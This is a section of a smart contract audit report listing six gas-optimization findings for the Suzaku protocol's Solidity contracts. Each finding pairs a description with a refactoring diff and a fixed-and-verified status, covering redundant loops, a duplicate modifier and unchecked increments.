7.6.1 Gas optimization for `getVaults` function

Description: The `MiddlewareVaultManager::getVaults` uses an inefficient pattern that iterates through the entire list of vaults twice. The first iteration counts the number of active vaults, while the second iteration builds the array of active vaults.

This implementation:

- Makes the same `vaults.atWithTimes(i)` calls twice
- Performs the same `_wasActiveAt()` calculation twice for each vault
- Results in unnecessary gas consumption, especially as the number of vaults grows

Recommended Mitigation: Consider refactoring the function to use a single-pass approach that eliminates the redundant iteration by caching the active vaults in the first loop.

```
function getVaults(
    uint48 epoch
) external view returns (address[] memory) {
    uint256 vaultCount = vaults.length();
    uint48 epochStart = middleware.getEpochStartTs(epoch);

    // Early return for empty vaults
    if (vaultCount == 0) {
        return new address[](0);
    }

++    address[] memory tempVaults = new address[](vaultCount);
    uint256 activeCount = 0;

    // Single pass through the vaults
    for (uint256 i = 0; i < vaultCount; i++) {
        (address vault, uint48 enabledTime, uint48 disabledTime) = vaults.atWithTimes(i);
        if (_wasActiveAt(enabledTime, disabledTime, epochStart)) {
++          tempVaults[activeCount] = vault;
            activeCount++;
        }
    }

    // Create the final result array with correct size
    address[] memory activeVaults = new address[](activeCount);
-- uint256 activeIndex = 0;
-- for (uint256 i = 0; i < vaultCount; i++) {
--      (address vault, uint48 enabledTime, uint48 disabledTime) = vaults.atWithTimes(i);
--      if (_wasActiveAt(enabledTime, disabledTime, epochStart)) {
--          activeVaults[activeIndex] = vault;
--          activeIndex++;
--       }
--    }
++    for (uint256 i = 0; i < activeCount; i++) {
++       activeVaults[i] = tempVaults[i];
++    }

    return activeVaults;
}
```

Suzaku: Fixed in commit 59a0109.

Cyfrin: Verified.

7.6.2 Unnecessary `onlyRegisteredOperatorNode` on `completeStakeUpdate` function

Description: `completeStakeUpdate` is calling internal function `_completeStakeUpdate` which has the same modifier applied. Currently the modifier `onlyRegisteredOperatorNode` is checked twice.

Recommended Mitigation: Consider removing `onlyRegisteredOperatorNode` on `_completeStakeUpdate`

Suzaku: Fixed in commit f9946ef.

Cyfrin: Verified.

7.6.3 Optimisation of elapsed epoch calculation

Description: In the `UptimeTracker::computeValidatorUptime` function, there is an opportunity to optimize how the number of elapsed epochs is calculated.

```
Currently, the code redundantly retrieves both epoch indices and their corresponding start timestamps
↪  to compute the elapsed time between epochs:

uint48 lastUptimeEpoch = l1Middleware.getEpochAtTs(uint48(lastUptimeCheckpoint.timestamp));
uint256 lastUptimeEpochStart = l1Middleware.getEpochStartTs(lastUptimeEpoch);

uint48 currentEpoch = l1Middleware.getEpochAtTs(uint48(block.timestamp));
uint256 currentEpochStart = l1Middleware.getEpochStartTs(currentEpoch);

uint256 elapsedTime = currentEpochStart - lastUptimeEpochStart;
uint256 elapsedEpochs = elapsedTime / epochDuration;
```

However, since the epoch numbers themselves are already known (lastUptimeEpoch and currentEpoch), the number of full epochs that have elapsed can be directly calculated by subtracting the epoch indices, avoiding the unnecessary calls to getEpochStartTs.

Recommended Mitigation: Replace the timestamp-based epoch duration calculation with a simpler and more efficient version:

```
- uint256 elapsedTime = currentEpochStart - lastUptimeEpochStart;
- uint256 elapsedEpochs = elapsedTime / epochDuration;
+ uint256 elapsedEpochs = currentEpoch - lastUptimeEpoch;
```

This change reduces computational overhead and simplifies the logic while achieving the same result.

Suzaku: Fixed in commit f9946ef.

Cyfrin: Verified.

7.6.4 Use unchecked block for increment operations in `distributeRewards`

Description

In `Rewards::distributeRewards`, an `unchecked` block can be used to optimize gas consumption for increment operations inside the loop.

```
function distributeRewards(uint48 epoch, uint48 batchSize) external onlyRole(REWARDS_DISTRIBUTOR_ROLE) {
    DistributionBatch storage batch = distributionBatches[epoch];
    uint48 currentEpoch = l1Middleware.getCurrentEpoch();

    if (batch.isComplete) revert AlreadyCompleted(epoch);
    // Rewards can only be distributed after a 2-epoch delay
    if (epoch >= currentEpoch - 2) revert RewardsDistributionTooEarly(epoch, currentEpoch - 2);

    address[] memory operators = l1Middleware.getAllOperators();
    uint256 operatorCount = 0;
```

```
    for (uint256 i = batch.lastProcessedOperator; i < operators.length && operatorCount < batchSize;
    ↪  i++) {
        // Calculate operator's total share based on stake and uptime
        _calculateOperatorShare(epoch, operators[i]);

        // Calculate and store vault shares
        _calculateAndStoreVaultShares(epoch, operators[i]);

        batch.lastProcessedOperator = i + 1;
        operatorCount++;
    }

    if (batch.lastProcessedOperator >= operators.length) {
        batch.isComplete = true;
    }
}
```

Recommended Mitigation

Introduce an `unchecked` block for increment operations to optimize gas usage.

```
function distributeRewards(uint48 epoch, uint48 batchSize) external onlyRole(REWARDS_DISTRIBUTOR_ROLE) {
    DistributionBatch storage batch = distributionBatches[epoch];
    uint48 currentEpoch = l1Middleware.getCurrentEpoch();

    if (batch.isComplete) revert AlreadyCompleted(epoch);
    // Rewards can only be distributed after a 2-epoch delay
    if (epoch >= currentEpoch - 2) revert RewardsDistributionTooEarly(epoch, currentEpoch - 2);

    address[] memory operators = l1Middleware.getAllOperators();
    uint256 operatorCount = 0;

-   for (uint256 i = batch.lastProcessedOperator; i < operators.length && operatorCount < batchSize;
↪   i++) {
+   for (uint256 i = batch.lastProcessedOperator; i < operators.length && operatorCount < batchSize;) {
        // Calculate operator's total share based on stake and uptime
        _calculateOperatorShare(epoch, operators[i]);

        // Calculate and store vault shares
        _calculateAndStoreVaultShares(epoch, operators[i]);

+       unchecked {
            batch.lastProcessedOperator = i + 1;
            operatorCount++;
+           i++;
+       }
    }

    if (batch.lastProcessedOperator >= operators.length) {
        batch.isComplete = true;
    }
}
```

Suzaku: Fixed in commit 2fb0daf.

Cyfrin: Verified.

7.6.5 Optimize `_getStakerVaults` to Avoid Redundant External Calls to `activeBalanceOfAt`

Description: The `Rewards::_getStakerVaults` function performs two passes over the vault array to filter vaults with non-zero balances, which doubles the number of external calls to `IVaultTokenized.activeBalanceOfAt`.

```
function _getStakerVaults(address staker, uint48 epoch) internal view returns (address[] memory) {
        address[] memory vaults = middlewareVaultManager.getVaults(epoch);
        uint48 epochStart = l1Middleware.getEpochStartTs(epoch);

        uint256 count = 0;

        // First pass: Count non-zero balance vaults
        for (uint256 i = 0; i < vaults.length; i++) {
            uint256 balance = IVaultTokenized(vaults[i]).activeBalanceOfAt(staker, epochStart, new
            ↪  bytes(0));
            if (balance > 0) {
                count++;
            }
        }

        // Create a new array with the exact number of valid vaults
        address[] memory validVaults = new address[](count);
        uint256 index = 0;

        // Second pass: Populate the new array
        for (uint256 i = 0; i < vaults.length; i++) {
            uint256 balance = IVaultTokenized(vaults[i]).activeBalanceOfAt(staker, epochStart, new
            ↪  bytes(0));
            if (balance > 0) {
                validVaults[index] = vaults[i];
                index++;
            }
        }

        return validVaults;
    }
```

Recommended Mitigation: Make the following change to the `_getStakerVaults`:

```
function _getStakerVaults(address staker, uint48 epoch) internal view returns (address[] memory) {
    address[] memory vaults = middlewareVaultManager.getVaults(epoch);
    uint48 epochStart = l1Middleware.getEpochStartTs(epoch);
+   address[] memory tempVaults = new address[](vaults.length); // Temporary oversized array
    uint256 count = 0;

-   // First pass: Count non-zero balance vaults
-   for (uint256 i = 0; i < vaults.length; i++) {
-       uint256 balance = IVaultTokenized(vaults[i]).activeBalanceOfAt(staker, epochStart, new
↪   bytes(0));
-       if (balance > 0) {
-           count++;
-       }
-   }
-
-   // Create a new array with the exact number of valid vaults
+   // Single pass: Collect valid vaults
+   for (uint256 i = 0; i < vaults.length;) {
+       if (IVaultTokenized(vaults[i]).activeBalanceOfAt(staker, epochStart, new bytes(0)) > 0) {
+           tempVaults[count] = vaults[i];
+           count++;
+       }
+       unchecked { i++; }
+   }
+
+   // Copy to correctly sized array
    address[] memory validVaults = new address[](count);
```

```
-   uint256 index = 0;
-
-   // Second pass: Populate the new array
-   for (uint256 i = 0; i < vaults.length; i++) {
-       uint256 balance = IVaultTokenized(vaults[i]).activeBalanceOfAt(staker, epochStart, new
↪   bytes(0));
-       if (balance > 0) {
-           validVaults[index] = vaults[i];
-           index++;
-       }
+   for (uint256 i = 0; i < count;) {
+       validVaults[i] = tempVaults[i];
+       unchecked { i++; }
    }

    return validVaults;
}
```

Suzaku: Fixed in commit 2fb0daf.

Cyfrin: Verified.

7.6.6 Redundant overflow checks in safe arithmetic operations

Description: `Solidity 0.8.25` includes built-in overflow checks for arithmetic operations, which add ~20-30 gas per operation. In `UptimeTracker::computeValidatorUptime`, operations like loop increments (i++) and additions (lastUptimeEpoch + i) are guaranteed not to overflow due to the use of uint48 and controlled inputs.

Recommended Mitigation: Use unchecked blocks for safe arithmetic operations:

```
for (uint48 i = 0; i < elapsedEpochs;) {
    uint48 epoch;
    unchecked {
        epoch = lastUptimeEpoch + i;
        i++;
    }
    // ...
}
```

Suzaku: Fixed in commit 2fb0daf.

Cyfrin: Verified.